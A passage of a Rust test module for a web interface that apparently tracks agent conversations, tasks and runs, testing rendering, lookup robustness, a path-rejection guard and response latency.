27997                started.send(()).unwrap();
27998                held.recv().unwrap();
27999            });
28000            ready.await.unwrap();
28001            let result = tokio::time::timeout(
28002                Duration::from_secs(2),
28003                talk_core(State(ui.clone()), Path(id.clone())),
28004            )
28005            .await;
28006            release.send(()).unwrap();
28007            admission.join().unwrap();
28008            assert!(
28009                result
28010                    .expect("display must not wait behind local admission")
28011                    .unwrap()
28012                    .0
28013                    .thinking
28014            );
28015            assert!(ui.is_thinking(&id));
28016            assert!(ui.is_thinking_observed(&id));
28017            drop(live);
28018            assert!(
28019                !ui.is_thinking_observed(&id),
28020                "a finished lease no longer appears live"
28021            );
28022            assert!(!ui.is_thinking(&id));
28023            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28024            assert!(
28025                ui.is_thinking_observed(&id),
28026                "local admission remains visible"
28027            );
28028        });
28029    }
28030
28031    #[tokio::test]
28032    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28033        let home = tempfile::tempdir().unwrap();
28034        let ui = delta_test_ui(home.path());
28035        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28036        let mut task = Task::new(
28037            "Referenced task".into(),
28038            "Unrelated instruction history".repeat(1024),
28039            home.path().into(),
28040            Source::Human,
28041        );
28042        task.id = "20261019-000000-abcd".into();
28043        ui.queue.put(&mut task).unwrap();
28044        let mut conversation = ui.talks.get(&id).unwrap();
28045        conversation.turns.push(talk::Turn {
28046            sender: Some(talk::Sender::Persona),
28047            who: talk::Who::Agent,
28048            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28049            at: conversation.created_at,
28050            attachments: Vec::new(),
28051            usage: None,
28052            breaks: None,
28053            messages: Vec::new(),
28054            posted_by: None,
28055        });
28056        ui.talks.put(&mut conversation).unwrap();
28057
28058        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28059        let markdown = serde_json::to_value(&core.turn_bodies_md)
28060            .unwrap()
28061            .to_string();
28062        assert!(markdown.contains("\"strong\""));
28063        assert!(markdown.contains("\"table\""));
28064        assert!(markdown.contains("\"bullet_list\""));
28065        assert!(markdown.contains("\"code_block\""));
28066        assert!(!markdown.contains("\"internal_link\""));
28067        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28068        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28069        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28070
28071        // Deferred decoration still resolves the same validated task, without
28072        // touching opaque code blocks or changing the original transcript.
28073        let references = ui.references.for_talk(home.path(), &conversation);
28074        let mut decorated = core.turn_bodies_md[0].clone();
28075        references.markdown(&mut decorated);
28076        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28077        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28078        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28079        assert_eq!(
28080            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28081            conversation.turns[0].body
28082        );
28083    }
28084
28085    #[tokio::test]
28086    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28087        let home = tempfile::tempdir().unwrap();
28088        let ui = delta_test_ui(home.path());
28089        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28090        let mut run = RunState::new(
28091            PathBuf::from("/repo"),
28092            "main".into(),
28093            "01234567".into(),
28094            "Useful run".into(),
28095            Config::default(),
28096        );
28097        run.save_under(home.path()).unwrap();
28098        let mut task = Task::new(
28099            "Related".into(),
28100            "body".into(),
28101            PathBuf::from("/repo"),
28102            Source::Agent {
28103                run: talk_id.clone(),
28104                node: "chat".into(),
28105            },
28106        );
28107        task.runs = vec![run.id.clone()];
28108        ui.queue.put(&mut task).unwrap();
28109        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28110        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28111        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28112        assert!(
28113            run_detail(State(ui.clone()), Path(run.id.clone()))
28114                .await
28115                .is_ok()
28116        );
28117        assert!(
28118            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28119                .await
28120                .is_ok()
28121        );
28122        // Previously indexed corruption must not masquerade as no relationship.
28123        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28124        assert!(ui.find_task_for_run(&run.id).is_err());
28125        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28126        ui.queue.put(&mut task).unwrap();
28127        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28128    }
28129
28130    #[tokio::test]
28131    async fn conversation_sections_omit_large_task_instructions() {
28132        let home = tempfile::tempdir().unwrap();
28133        let ui = delta_test_ui(home.path());
28134        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28135        let mut task = Task::new(
28136            "filed task".into(),
28137            "large instruction ".repeat(65536),
28138            PathBuf::from("/repo"),
28139            Source::Agent {
28140                run: id.clone(),
28141                node: "chat".into(),
28142            },
28143        );
28144        ui.queue.put(&mut task).unwrap();
28145        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28146        assert_eq!(sections["tasks"][0]["id"], task.id);
28147        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28148        assert!(sections["tasks"][0].get("instruction").is_none());
28149        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28150    }
28151
28152    #[test]
28153    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28154        let home = tempfile::tempdir().unwrap();
28155        let talks = Talks::at(home.path().join("talks"));
28156        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28157        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28158        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28159        assert!(resolve_talk(&talks, "../outside").is_err());
28160        assert!(resolve_talk(&talks, "abcd").is_err());
28161        assert_eq!(
28162            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28163            "20261019-000001-abcd"
28164        );
28165    }
28166
28167    include!(concat!(
28168        env!("CARGO_MANIFEST_DIR"),
28169        "/tests/web_latency/baseline.rs"
28170    ));
28171
28172    include!(concat!(
28173        env!("CARGO_MANIFEST_DIR"),
28174        "/tests/web_latency/lists.rs"
28175    ));
28176
28177    #[tokio::test]
28178    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28179    async fn web_history_latency_measurement() {
28180        use std::time::Instant;
28181        let home = tempfile::tempdir().unwrap();
28182        let ui = delta_test_ui(home.path());
28183        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28184        let mut template = ui.talks.get(&id).unwrap();
28185        template.turns = serde_json::from_value(serde_json::json!([{
28186            "who": "operator", "body": "Show the accumulated work and its current status.",
28187            "at": Timestamp::now().to_string(),
28188        }]))
28189        .unwrap();
28190        std::fs::write(
28191            ui.talks.path_of(&id),
28192            serde_json::to_vec(&template).unwrap(),
28193        )
28194        .unwrap();
28195        let count = std::env::var("MAGI_BENCH_RECORDS")
28196            .ok()
28197            .and_then(|s| s.parse::<usize>().ok())
28198            .unwrap_or(1000);
28199        for i in 0..count {
28200            template.id = format!("20261019-{i:06}-history");
28201            template.pending = "history ".repeat(2048);
28202            std::fs::write(
28203                ui.talks.path_of(&template.id),
28204                serde_json::to_vec(&template).unwrap(),
28205            )
28206            .unwrap();
28207            let mut task = Task::new(
28208                "old task".into(),
28209                "instruction ".repeat(2048),
28210                PathBuf::from("/repo"),
28211                Source::Human,
28212            );
28213            task.id = format!("20261019-{i:06}-task");
28214            ui.queue.put(&mut task).unwrap();
28215        }
28216        for baseline in [true, false] {
28217            for clients in [1, 4] {
28218                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28219                let mut samples = Vec::new();
28220                for _ in 0..12 {
28221                    let mut jobs = Vec::new();
28222                    for _ in 0..clients {
28223                        let ui = ui.clone();
28224                        let id = id.clone();
28225                        jobs.push(tokio::spawn(async move {
28226                            let start = Instant::now();
28227                            if baseline {
28228                                let response =
28229                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28230                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28231                                return (
28232                                    elapsed,
28233                                    elapsed,
28234                                    serde_json::to_vec(&response).unwrap().len(),
28235                                );
28236                            }
28237                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28238                            let secondary = talk_sections(State(ui), Path(id));
28239                            let (first, total) = tokio::join!(
28240                                async {
28241                                    let value = core.await.unwrap().0;
28242                                    (
28243                                        start.elapsed().as_secs_f64() * 1000.0,
28244                                        serde_json::to_vec(&value).unwrap().len(),
28245                                    )
28246                                },
28247                                async {
28248                                    let value = secondary.await.unwrap().0;
28249                                    (
28250                                        start.elapsed().as_secs_f64() * 1000.0,
28251                                        serde_json::to_vec(&value).unwrap().len(),
28252                                    )
28253                                }
28254                            );
28255                            (first.0, first.0.max(total.0), first.1 + total.1)
28256                        }));
28257                    }
28258                    for job in jobs {
28259                        samples.push(job.await.unwrap());
28260                    }
28261                }
28262                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28263                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28264                first.sort_by(f64::total_cmp);
28265                total.sort_by(f64::total_cmp);
28266                let n = first.len();
28267                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28268                println!(
28269                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28270                    first[n / 2],
28271                    first[(n * 95 / 100).min(n - 1)],
28272                    total[n / 2],
28273                    total[(n * 95 / 100).min(n - 1)],
28274                    samples[0].2
28275                );
28276            }
28277        }
28278    }
28279
28280    #[test]
28281    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28282        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28283        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28284        assert!(APP_JS.contains("function nextRunRequest(id)"));
28285        assert!(APP_JS.contains("function runShell(id, summary)"));
28286        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28287        assert!(APP_JS.contains("function taskShell(id, summary)"));
28288        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28289    }
28290}